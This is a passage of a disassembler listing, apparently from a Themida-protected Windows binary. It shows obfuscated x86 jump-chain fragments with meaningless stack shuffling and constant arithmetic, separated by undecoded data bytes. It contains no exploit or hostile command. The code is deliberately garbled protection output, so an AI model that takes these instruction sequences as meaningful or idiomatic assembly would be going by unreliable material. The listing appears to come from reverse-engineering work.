		dd 0B2241489h, 49F280D6h, 2812C380h, 12EB80D3h,	5A2434FFh
		dd 4DB6E9h, 432CB900h, 0CB311125h, 0FFF83AE9h, 0C8B66FFh
		dd 787F6824h, 4890000h,	644E924h, 0FFBB0000h, 0E9078367h
		dd 0EF4h, 8FE93204h, 1000049h, 30E959C8h, 8000002Bh, 0D80079EBh
		dd 2CC8005Bh, 3D98E98Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B436:				; CODE XREF: Themida_:005477B6j
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 9Bh
		dec	bh
		jmp	loc_54D3F1
; ---------------------------------------------------------------------------
		db 83h,	4, 24h
		dd 21E95F04h, 2900001Fh, 21EB81CBh, 81262330h, 1A285DEBh
		dd 4CC4E96Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B466:				; CODE XREF: Themida_:00550910j
		sub	[esp+4], eax
		pop	eax
		jmp	loc_54620A
; ---------------------------------------------------------------------------
		dd 875EF501h, 9AE9242Ch, 89FFFFDBh, 4C281E2h, 81000000h
		dd 4EAh, 24148700h, 21C5E9h, 6B68AC00h,	0E9000004h, 0FFFFF6BAh
		dd 5F2434FFh, 8F04C483h, 248B2404h, 0C8AF0F24h,	57E99C51h
		dd 0C1000042h, 0EC8104E0h, 4, 0E9241489h, 1FE5h, 56241C89h
		dd 530114BEh, 0F7E6D133h, 546CE9DEh, 2C8B0000h,	4C48124h
		dd 2D000000h, 46330314h, 1405D801h, 2D463303h, 44E52980h
		dd 37185B05h, 15D4E96Bh, 1C310000h, 241C3324h, 3824248Bh
		dd 0FFE99CC1h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B50B:				; CODE XREF: Themida_:00551714j
		sub	eax, esi
		jmp	loc_54B07C
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 4B850h, 0C2010000h, 24143358h, 61FAE9h, 5EC28100h
		dd 51981788h, 5B2003B9h, 2C18158h, 123D605h, 0D30159CBh
		dd 2505EB81h, 555A7C31h, 233021BDh, 5DEB0126h, 0FFFEFEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B555:				; CODE XREF: Themida_:0054988Ej
		sub	ebx, ebp
		push	eax
		mov	eax, 28B9674Dh
		not	eax
		sub	eax, 42AC76B7h
		shl	eax, 7
		jmp	loc_55120F
; ---------------------------------------------------------------------------
		dd 205h, 24048700h, 240CD35Ch, 0AC8CE99Ch, 8158FFFFh, 4C4h
		dd 5E545600h, 0FFF38FE9h, 28B0B3FFh, 241C8BD8h,	4EC81h
		dd 0C2E90000h, 8100000Ch, 4C4h,	0D659E900h, 0FD28FFFFh
		dd 80C5FE5Bh, 0C8E95DF5h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B5B7:				; CODE XREF: Themida_:0055113Aj
		pop	edx
		jmp	loc_548935
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 6Bh
		dd 89000015h, 0B951243Ch, 62672089h, 67208BBFh,	59CF3162h
		dd 3C8BFB01h, 256CE924h, 285B0000h, 240C8BEAh, 5FABE9h
		dd 6F04AC00h, 8904EC83h, 96E9241Ch, 57FFFFFFh, 19585268h
		dd 0ACE95F39h, 400000Bh, 0E9D8283Bh, 0FFFFE0CFh, 58C6015Fh
		dd 8B243487h, 8B662424h, 0A3E9240Ch, 5A00003Dh,	0E9241C33h
		dd 50B6h, 0CD19E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B62E:				; CODE XREF: Themida_:0054E424j
		push	eax
		jmp	loc_5528B5
; ---------------------------------------------------------------------------
		dd 15FF901h, 0A6E981F9h, 81211C27h, 346D78E9h, 3726E934h
		dd 3C8B0000h, 5A8AE924h, 0E95A0000h, 3A5h, 0E95DE801h
		dd 0FFFFDD6Ch
; ---------------------------------------------------------------------------


loc_54B660:				; CODE XREF: Themida_:00549BBCj
		add	edi, ecx
		pop	ecx
		add	ebx, edi
		pop	edi
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_54FE86
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E9008F00h, 0FFFFAB86h, 0E95EF501h, 0FFFFBADBh
		dd 685EF301h, 3A07h, 55241489h,	0FE6AB568h, 685D76h, 29000000h
		dd 58E9242Ch
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B6AB:				; CODE XREF: Themida_:00551B68j
		mov	dl, 0D9h
		push	ecx
		jmp	loc_54979A
; ---------------------------------------------------------------------------


loc_54B6B3:				; CODE XREF: Themida_:0054878Fj
		push	esi
		pop	eax
		pop	esi
		push	7FADh
		mov	[esp], edx
		jmp	loc_55112A
; ---------------------------------------------------------------------------
		db 66h
		dd 3FE99C51h, 0B3FFFFABh, 5BD800B5h, 0E8284004h, 0B52C402Ch
		dd 0FFC672E9h, 4BFFFh, 7C010000h, 5E5F0424h, 1B99E9h, 13BD5500h
		dd 0E9228802h, 30F3h, 8B240C33h, 0F662424h, 9C2404B3h
		dd 0FFAB01E9h, 0AAFCE9FFh, 34FFFFFFh, 2434FF24h, 582434FFh
		dd 4C481h, 0C4810000h, 4, 81E78957h, 4C7h, 4E80E900h, 0BA520000h
		dd 0DE0A69h, 815AD531h,	0EB3957C7h, 0E9EF016Eh,	0FFFFCC78h
		dd 42474FFh, 0E92434FFh, 6D64h,	66D58851h, 0E9EC8850h
		dd 81h,	0BA241489h, 710429F9h, 557508B9h, 5AD129CDh, 0EBD5550h
		dd 890B4A39h, 77355DE8h, 57438B79h, 562B85BFh, 5FF82976h
		dd 0CC2DD0F7h, 5214D78h, 3ED47EACh, 0FFDCCEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B799:				; CODE XREF: Themida_:005466EBj
		pop	eax
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_54620A
; ---------------------------------------------------------------------------
		db 0E9h, 60h, 0AAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B7AA:				; CODE XREF: Themida_:0054ABB4j
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	ecx, 27E15124h
		jmp	loc_546FEE
; ---------------------------------------------------------------------------
aIqsC		db '‰ïé×C',0
		align 4
		dd 50283FBDh, 3E5C113h,	327BB951h, 0CD016E47h, 0FFCC53E9h
		dd 88C4FEFFh, 885866E5h, 0D18659EAh, 88ACF180h,	0D83059CBh
		dd 0B2525B66h, 0B1516693h, 55B25272h, 809CE280h, 0D100B0EAh
		dd 3514E95Ah, 0E0890000h, 405h,	3807E900h, 815D0000h, 17E81EC7h
		dd 5FF8290Fh, 81240C8Bh, 4C4h, 0E9525100h, 2F59h, 0FF565A59h
		dd 5E042474h, 8B24048Fh, 0E1F72424h, 0A6068h, 241C8900h
		dd 0BA52E389h, 3FA61EF8h, 495C281h, 0E2C16F1Fh,	7CBB5307h
		dd 816291C6h, 5068BBC2h, 81DA2954h, 5068BBEAh, 2434FF54h
		dd 81241C8Bh, 4C4h, 4C48100h, 1000000h,	24148BD3h, 1E72E953h
		dd 0CA810000h, 5F1E330Ch, 24F8E281h, 0C2815C99h, 45F36847h
		dd 6418E9h, 0AB75300h, 8002EFC0h, 0CF80E9CFh, 0DEC7803Ch
		dd 20B3EF80h, 1045BF8h,	80AEB353h, 0EFE93BC3h, 29FFFFEEh
		dd 4EC81D8h, 89000000h,	0D6E9240Ch, 5CFFFFB6h, 8904EC83h
		dd 0E389241Ch, 3BC9B951h, 0E9502D09h, 5EBEh
; ---------------------------------------------------------------------------


loc_54B8EC:				; CODE XREF: Themida_:0054E4B6j
		xor	ebp, [esp]
		pop	esp
		jmp	loc_54D06D
; ---------------------------------------------------------------------------
		db 53h,	81h, 0ECh
		dd 4, 0BE243489h, 4, 15EF389h, 0C2835BDAh, 24143304h, 33241431h
		dd 835C2414h, 14E904ECh, 2D000060h, 29DE1D7Bh, 4244401h
		dd 4795E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B92D:				; CODE XREF: Themida_:0054C09Bj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	edi
		mov	edi, esp
		jmp	loc_551231
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 2B49E900h, 0D2F60000h,	19D5E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B979:				; CODE XREF: Themida_:0054A0BDj
		xchg	edx, [esp]
		not	edx
		xchg	edx, [esp]
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_550C07
; ---------------------------------------------------------------------------
		dd 6866D800h, 4FE9222Eh, 81FFFFC2h, 2E2AD2E3h, 4E3C13Dh
		dd 27C6B850h, 0D8F71E7Ch, 0D811A62Dh, 4462257Bh, 0BB355939h
		dd 35383B49h, 0ACE379Bh, 0C5E9C321h, 50FFFFDDh,	0AF452EB8h
		dd 49F2BA19h, 0C2819760h, 2EFD35F1h, 0EA81C229h, 2EFD35F1h
		dd 9BE95258h, 81000026h, 407BD5CAh, 0FFE9561Eh,	5C000033h
		dd 2721E9h, 192CAC00h, 0FFACE4E9h, 66C328FFh, 0E9C30058h
		dd 0FFFFDFBDh
; ---------------------------------------------------------------------------


loc_54BA08:				; CODE XREF: Themida_:00550992j
		pop	ebx
		or	eax, eax
		jz	loc_546DD0
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_54CF52
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E95E240Ch, 1FEFh
; ---------------------------------------------------------------------------


loc_54BA28:				; CODE XREF: Themida_:00551696j
		mov	esi, 51FF4506h
		xor	esi, edi
		pop	edi
		and	esi, 4B394F0Bh
		push	ebx
		push	54457337h
		pop	ebx
		or	esi, ebx
		pop	ebx
		jmp	loc_54CC3F
; ---------------------------------------------------------------------------
		db 68h,	83h, 7Eh
		dd 34890000h, 0D9F3E924h, 5854FFFFh, 4128E953h,	0ABE90000h
		dd 21FFFFA7h, 0E8C15EF0h, 50C83108h, 0FF2414F7h, 51582434h
		dd 270F68h, 24248900h, 4BE56h, 0BF570000h, 5F877046h, 8247C01h
		dd 5FC1E9h
		db 0
; ---------------------------------------------------------------------------


loc_54BA8D:				; CODE XREF: Themida_:00551D31j
		sub	eax, 0D217703Ah
		and	edx, eax
		jmp	loc_546743
; ---------------------------------------------------------------------------
		db 0BBh, 7Bh, 4Ah
		dd 0DA012591h, 2193E9h,	0C1815800h, 6C8C0CB9h, 4259CA09h
		dd 0F2B6C281h, 0D8E9C907h, 83FFFFC6h, 55E904C7h, 66FFFFBDh
		dd 52240C8Bh, 5404EC83h, 8124048Fh, 42404h, 34FF0000h
		dd 0C4835A24h, 4BD5504h, 81000000h, 1F3589C2h, 51EA0104h
		dd 0D6371B9h, 0DFB8E913h, 0F021FFFFh, 0FFA7D8E9h, 1FB8BAFFh
		dd 0EAC12C50h, 7EAC108h, 8461EA81h, 0D62923C3h,	8124148Bh
		dd 4C4h, 5EF18900h, 6CDE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54BB22:				; CODE XREF: Themida_:0054EFFBj
		jmp	loc_54620A
; ---------------------------------------------------------------------------


loc_54BB27:				; CODE XREF: Themida_:00548C73j
		shr	ebp, 5
		inc	ebp
		jmp	loc_547800
; ---------------------------------------------------------------------------
		dd 4B8h, 58C10100h, 5C240C87h, 31241C33h, 1C33241Ch, 4295C24h
		dd 8BE99C24h, 81FFFFE8h, 4C7h, 243C8700h, 0D53E95Ch, 0C870000h
		dd 2055C24h, 33000000h,	4312404h, 24043324h, 0AF0F665Ch
		dd 9C5166C8h, 0FFA68DE9h, 405FFh, 0C0830000h, 24048704h
		dd 6E4E685Ch, 2C890000h, 84B95124h, 0BD64CD54h,	70F934E6h
		dd 5A4868h, 241C8900h, 0E955E389h, 0FFFFD046h, 2EE9D528h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BBB3:				; CODE XREF: Themida_:00552587j
		push	edx
		push	ebx
		push	0D1E0957h
		pop	ebx
		sub	ebx, 0C61DA55Eh
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	edx, 5
		jmp	loc_54711C
; ---------------------------------------------------------------------------


loc_54BBD4:				; CODE XREF: Themida_:0054E9EEj
		pop	edx
		sub	eax, 64301BA4h
		mov	ebp, eax
		pop	eax
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_550AAC
; ---------------------------------------------------------------------------
		db 81h
		dd 646CF6C6h, 0B4A6E94Dh, 895CFFFFh, 8ABB241Ch,	29676152h
		dd 241C8BDFh, 0FD04C483h, 2614E9h, 0A1F38100h, 2968BB5Bh
		dd 2A75E9D8h, 8B660000h, 54502404h, 75616858h, 85E90000h
		dd 81FFFFD1h, 4C5h, 4EF1E900h, 525D0000h, 6B01EBBAh, 6BF2817Ah
		dd 42538921h, 0FFB1ECE9h, 241C8BFFh, 4C481h, 0C3810000h
		dd 59EA742Ah, 0EB81D301h, 59EA742Ah, 0C1E3D15Ah, 22E905EBh
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BC7F:				; CODE XREF: Themida_:00547ACAj
		sub	eax, 292C152Fh
		add	eax, 0FAB2DC7h
		sub	eax, ecx
		sub	eax, 0FAB2DC7h
		add	eax, 292C152Fh
		jmp	loc_54D66C
; ---------------------------------------------------------------------------


loc_54BC9A:				; CODE XREF: Themida_:00551AB5j
		xor	edx, 0E5F1BDFEh
		mov	ebx, edx
		mov	edx, [esp]
		jmp	loc_54DF22
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 0D1648E36h, 15BDF31h, 2434FFF8h, 4EC815Fh, 89000000h
		dd 0E189240Ch, 4C181h, 0C1810000h, 4, 5C240C87h, 2BA52h
		dd 0D0010000h, 2404875Ah, 2424D35Ch, 0A520E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BCEA:				; CODE XREF: Themida_:0054739Aj
		pop	esp
		sub	[edi+24h], esi
		pop	esi
		jmp	loc_54D24F
; ---------------------------------------------------------------------------
		dd 0D6F7F287h, 0F281F287h, 0B470B98Eh, 0FFCAF1E9h, 0BB535EFFh
		dd 4, 335BDA01h, 14312414h, 24143324h, 0FFAF67E9h, 0E9DEF7FFh
		dd 0FFFFD540h
; ---------------------------------------------------------------------------


loc_54BD24:				; CODE XREF: Themida_:0054EAB8j
		push	3937039Dh
		pop	eax
		push	esi
		mov	esi, 62140824h
		jmp	loc_547D67
; ---------------------------------------------------------------------------
		db 83h,	0E8h, 4
		dd 5C240487h, 12FDE9h
		db 0
; ---------------------------------------------------------------------------


loc_54BD41:				; CODE XREF: Themida_:00546DE0j
		mov	edx, 0B151FE7h
		sub	dword ptr [esp+4], 520825AFh
		add	[esp+4], edx
		add	dword ptr [esp+4], 520825AFh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_550ED1
; ---------------------------------------------------------------------------
		dd 0A92DD0F7h, 1DFE5EFh, 24048BC7h, 4C481h, 20E90000h
		dd 55FFFFA8h, 0FFC5BBE9h, 48B66FFh, 0E0895024h,	0EAEFE956h
		dd 0EB81FFFFh, 1C756DEAh, 5423EB81h, 0F3814D4Bh, 531E01F6h
		dd 0FFE0EDE9h, 8BF588FFh, 0C4832414h, 0E5805B04h, 0EEC580BEh
		dd 5E9EA28h, 83FFFFDFh,	48904ECh, 2474FF24h, 48F5804h
		dd 0C694E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BDD2:				; CODE XREF: Themida_:00546D18j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_54D2C6
; ---------------------------------------------------------------------------
		dd 815DEB01h, 4EBh, 0A90AE900h,	8B54FFFFh, 8956240Ch, 0C5C6E9E6h
		dd 0BD55FFFFh, 3B921642h, 62BECD81h, 0D5F719F4h, 30C6ED81h
		dd 0F4E919A7h, 0FFFFBFh, 240C8BE8h, 4C481h, 0C7280000h
		dd 0E9F83058h, 66E5h, 5F2434FFh, 6804C483h, 499Ch, 0FFD064E9h
		dd 48B66FFh, 54F6824h, 1C890000h, 5C66824h, 24890000h
		dd 1332E924h, 15D0000h,	0CAEE81DEh, 8B57A735h, 8956241Ch
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 2434335Ch, 33243431h
		dd 0E95C2434h, 0FFFFBE9Eh, 6E936855h, 2C8B0724h, 20A1E924h
		dd 0EE800000h, 0AEE80FFh, 30ABC680h, 62E95AF4h,	81FFFFA8h
		dd 38821F5h, 8BEE0124h,	0C483242Ch, 4EC8304h, 0FF243489h
		dd 8B042474h, 0C4832434h, 24048F04h, 2404205Ch,	0A334E99Ch
		dd 0E958FFFFh, 0FFFFCE63h, 0B089F581h, 0E83120C0h, 0C5E9815Dh
		dd 0E94C4802h, 1E22h, 5C243C87h, 263AE9h, 52742D00h, 0FE2D0265h
		dd 5E5AB94Dh, 8B240487h, 0C4812424h, 4,	0FFCA0EE9h, 60F281FFh
		dd 0E920E676h, 0FFFFC090h
; ---------------------------------------------------------------------------


loc_54BF20:				; CODE XREF: Themida_:0054ED6Bj
		pop	ebp
		jmp	loc_549D33
; ---------------------------------------------------------------------------
		dw 57B9h
		dd 0E921E15Eh, 0FFFFC4C3h, 5B3B6CB8h, 0E9C1217Eh, 0FFFFFB69h
		dd 47318ABEh, 92E95021h, 89FFFFE3h, 24148BD5h, 4C481h
		dd 0EE090000h, 48D5E95Dh, 8F0000h, 0FFA2A9E9h, 0E9EBD1FFh
		dd 4FF4h
; ---------------------------------------------------------------------------


loc_54BF68:				; CODE XREF: Themida_:0054D9B8j
		mov	eax, 4
		push	ebp
		mov	ebp, eax
		mov	esi, ebp
		pop	ebp
		pop	eax
		and	ecx, esi
		pop	esi
		shr	ecx, 0Ah
		push	ebx
		push	ebp
		mov	ebp, 306F1CBDh
		add	[esp+4], ebp
		jmp	loc_54C306
; ---------------------------------------------------------------------------


loc_54BF8A:				; CODE XREF: Themida_:0054A3F6j
		add	ebp, 4
		jmp	loc_5482F3
; ---------------------------------------------------------------------------
		db 68h,	0B5h, 18h
		dd 0C890000h, 3DBFB924h, 1BE92E50h, 0B1FFFFE1h,	58E130D9h
		dd 0CA30E3B2h, 0EB2C59h, 0D8BEE9D0h, 0BD55FFFFh, 22C2669Eh
		dd 1C581h, 0C5810000h, 68704030h, 0A35B850h, 0C5093FCAh
		dd 0C1DDF758h, 0F58102EDh, 212D5F2Dh, 0F75DE889h, 48E955D8h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54BFEB:				; CODE XREF: Themida_:0054FB5Aj
		mov	[esp], ebx
		mov	bl, 4Ah
		sub	bl, 0BDh
		sub	al, bl
		pop	ebx
		mov	dx, [esp]
		push	5F8Ah
		mov	[esp], ecx
		jmp	loc_5484B3
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 240C8700h, 0FFF9DAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C015:				; CODE XREF: Themida_:0054F972j
		add	dword ptr [esp], 4
		pop	edx
		push	eax
		mov	eax, 4
		jmp	loc_548769
; ---------------------------------------------------------------------------


loc_54C028:				; CODE XREF: Themida_:00550E8Fj
		add	esp, 4
		push	ecx
		mov	ecx, 4EFE70FCh
		push	esi
		mov	esi, 0
		sub	esi, ecx
		mov	ecx, esi
		pop	esi
		jmp	loc_5526DE
; ---------------------------------------------------------------------------
		dd 5A66F700h, 5247F780h, 0EA8059B2h, 0ECA80C7h,	80D5EA80h
		dd 19E965CAh, 66FFFFABh, 6824048Bh, 1BBFh, 0E9240489h
		dd 0FFFFA97Fh
; ---------------------------------------------------------------------------


loc_54C070:				; CODE XREF: Themida_:0054690Dj
		shr	edx, 1
		cmp	eax, edx
		jmp	loc_54F758
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 4
		dd 87000000h, 0AE9243Ch, 8B000042h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		jmp	loc_54B92D
; ---------------------------------------------------------------------------


loc_54C0A0:				; CODE XREF: Themida_:00550E03j
		push	3501h
		jmp	loc_547B7E
; ---------------------------------------------------------------------------


loc_54C0AA:				; CODE XREF: Themida_:0054E9D9j
		push	esp
		mov	edi, [esp]
		jmp	loc_54B329
; ---------------------------------------------------------------------------


loc_54C0B3:				; CODE XREF: Themida_:00550306j
		xchg	ebx, [esp]
		pop	esp
		add	edx, edi
		push	ecx
		jmp	loc_54E884
; ---------------------------------------------------------------------------


loc_54C0BF:				; CODE XREF: Themida_:00547128j
		not	edx
		push	ecx
		mov	ecx, 0AF375B3h
		add	edx, ecx
		jmp	loc_54FAFC
; ---------------------------------------------------------------------------
		dw 505Fh
		dd 4B8h, 8BC70100h, 2AE92404h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C0DF:				; CODE XREF: Themida_:0054B33Cj
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_5492CF
; ---------------------------------------------------------------------------
		dd 348BF389h, 0B17DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C0F6:				; CODE XREF: Themida_:005487A2j
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		push	5EA7h
		mov	[esp], edx
		jmp	loc_54A0B7
; ---------------------------------------------------------------------------
		dw 2BDh
		dd 0E9000000h, 0FFFFCD14h
; ---------------------------------------------------------------------------


loc_54C114:				; CODE XREF: Themida_:00551FAFj
		add	esp, 4
		jmp	loc_54DD0D
; ---------------------------------------------------------------------------
		db 81h
		dd 9E90B3F3h, 245F31E7h, 0D2315D5Bh, 0FFE343E9h, 0D83159FFh
		dd 0A0BF575Bh, 0E969E474h, 0FFFFB3EFh, 592434FFh, 3BA7E9h
		dd 64B85000h, 53B4A2Ch,	2DB01460h, 0E958C729h, 0F64h, 8324148Bh
		dd 5B5904C4h, 0FFA0A1E9h, 241433FFh, 0F24248Bh,	9168C8BEh
		dd 8900002Fh, 0DCE9240Ch, 80000037h, 0EDC04BF5h, 0B2526604h
		dd 0FA1EE9FEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C18E:				; CODE XREF: Themida_:00549A2Bj
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_549623
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0FFh
		dd 1FFFFFFh, 0ED8158C5h, 7F1C3E2Bh, 90E9E889h, 0C1FFFFDDh
		dd 78E908EFh, 33FFFFADh, 665C2404h, 5124048Bh, 13D7E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C1C6:				; CODE XREF: Themida_:0055258Fj
		push	ebp
		push	esp
		jmp	loc_54D469
; ---------------------------------------------------------------------------


loc_54C1CD:				; CODE XREF: Themida_:0054A04Fj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		jmp	loc_54E30E
; ---------------------------------------------------------------------------


loc_54C1E5:				; CODE XREF: Themida_:0055127Aj
		mov	[esp], edx
		mov	dh, 0D4h
		jmp	loc_547790
; ---------------------------------------------------------------------------
		db 0B8h
		dd 7BA54B95h, 4FFFE9h, 7E95C00h, 6600002Eh, 5766DAF7h
		dd 649EE9h
		db 0
; ---------------------------------------------------------------------------


loc_54C209:				; CODE XREF: Themida_:0054F85Fj
		sub	dword ptr [esp+4], 57820113h
		sub	dword ptr [esp+4], 32CD0185h
		sub	dword ptr [esp+4], 216F75E0h
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		pop	ecx
		push	ebp
		jmp	loc_549F19
; ---------------------------------------------------------------------------
		dw 433h
		dd 0C8315C24h, 83240C8Bh, 0C33104C4h, 2CB951h, 0C1810000h
		dd 200F7D00h, 0E981F901h, 200F7D00h, 0FFB6A1E9h, 243C89FFh
		dd 0DC5E9h, 0F3F28100h,	29501328h, 24148BD3h, 104C483h
		dd 0A9BA52D3h, 0E923D553h, 24Eh, 0E924148Bh, 0FFFFF3EBh
		dd 5AEE8166h, 0F70966DEh, 6647665Eh, 5451C781h,	5C350566h
		dd 66F82966h, 0FF5C352Dh, 3C8B2434h, 4C48124h, 50000000h
		dd 341DE9h
		db 0
; ---------------------------------------------------------------------------


loc_54C2B9:				; CODE XREF: Themida_:00551E61j
		sub	esp, 4
		jmp	loc_54EA64
; ---------------------------------------------------------------------------
		dd 55240489h, 0F73455BDh, 86CD816Bh, 816F280Bh,	0AF23B0F5h
		dd 5DE88979h, 0E9D0F748h, 22E3h, 42474FFh, 24048F59h, 370FE95Ch
		dd 41B70000h, 0F663CF80h, 80DFF6D7h, 0C780D0E7h, 49E6E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C306:				; CODE XREF: Themida_:0054BF85j
		pop	ebp
		jmp	loc_550A77
; ---------------------------------------------------------------------------
		dd 8104E3C1h, 0DE1BBEC3h, 0FDC38126h, 0E996D864h, 0FFFFBB7Fh
; ---------------------------------------------------------------------------


loc_54C320:				; CODE XREF: Themida_:00547D72j
		not	esi
		xor	esi, 0BAF67233h
		add	eax, esi
		pop	esi
		push	ecx
		jmp	loc_547BF5
; ---------------------------------------------------------------------------


loc_54C331:				; CODE XREF: Themida_:00546ED9j
		add	esp, 4
		push	ecx
		mov	ecx, 7931141Ah
		shr	ecx, 2
		not	ecx
		not	ecx
		not	ecx
		neg	ecx
		push	ebx
		jmp	loc_54AAE3
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5A042474h, 8B24048Fh, 0EAE92424h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C35B:				; CODE XREF: Themida_:00551475j
		mov	ecx, ebx
		pop	ebx
		shr	ecx, 1
		and	ecx, 71530822h
		and	ecx, 59696D48h
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		xchg	eax, ecx
		not	eax
		jmp	loc_54B04B
; ---------------------------------------------------------------------------
		db 59h,	81h, 0F2h
		dd 16D44134h, 5F1AF281h, 0D60122A4h, 8324148Bh,	343304C4h
		dd 24343124h, 5C243433h, 8B2434FFh, 89562404h, 4C681E6h
		dd 81000000h, 4C6h, 24348700h, 4EC835Ch, 0E9241489h, 5A2Dh
		dd 0FF9E49E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C3C1:				; CODE XREF: Themida_:00551DD1j
		mov	ebx, 6ED8417Ah
		push	eax
		mov	eax, 54275BFh
		neg	eax
		sub	eax, 8BE547BBh
		xor	ebx, eax
		pop	eax
		add	edi, 0D723854h
		sub	edi, 6FF814BBh
		add	edi, 7E927F45h
		sub	edi, ebx
		jmp	loc_54F50B
; ---------------------------------------------------------------------------


loc_54C3EF:				; CODE XREF: Themida_:0054A51Dj
		xor	ebp, edi
		jmp	loc_54B115
; ---------------------------------------------------------------------------
aSg		db ')ØéG[',0
		dd 241C8900h, 0F53DB2BBh, 0FB57E975h, 0D1F7FFFFh, 0E1C1D1F7h
		dd 65E98107h, 16FE947h,	240C8BC8h, 0E904C483h, 155Fh, 0E9241489h
		dd 0FFFFAAB2h, 5B66DA30h, 1D67E9h, 241C8700h, 243C895Ch
		dd 3A397BBFh, 4EC835Ch,	0BD242C89h, 5C3F72C2h, 515DE889h
		dd 6CEBF57h, 0C14F1034h, 0EF8102EFh, 0F3E2C69Ch, 0E95FF989h
		dd 0FFFFE4BFh, 0E9240C31h, 0FFFFF288h, 4C1835Ah, 5C240C87h
		dd 0F87E9h, 3E7C100h, 604AE9h
		db 0
; ---------------------------------------------------------------------------


loc_54C485:				; CODE XREF: Themida_:00548D73j
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_549A19
; ---------------------------------------------------------------------------
		db 29h,	0E8h, 2Dh
		dd 72F27118h, 648B685Dh, 0C890000h, 2ECEE924h, 0E1C10000h
		dd 0EFE98108h, 0E9AF16DFh, 59A6h, 67E9CA29h, 0FF000011h
		dd 48B2434h, 37FAE924h,	0F2810000h, 150B7147h, 3E39E9h
		db 0
; ---------------------------------------------------------------------------


loc_54C4DD:				; CODE XREF: Themida_:00547FDDj
		sub	dl, 9Ch
		add	cl, dl
		mov	edx, [esp]
		add	esp, 4
		xor	al, cl
		jmp	loc_549BC1
; ---------------------------------------------------------------------------


loc_54C4EF:				; CODE XREF: Themida_:0054870Dj
		add	esp, 4
		shr	ecx, 2
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		jmp	loc_547983
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 0C4830000h, 0BA6AE904h, 0EB81FFFFh, 21A06778h
		dd 3355EB81h, 0EB8173D7h, 4B7029BEh, 0E9EE957h,	0EB810000h
		dd 0D1D6D559h, 815BDA89h, 0AC5B19CAh, 0CEB95106h, 0F721F819h
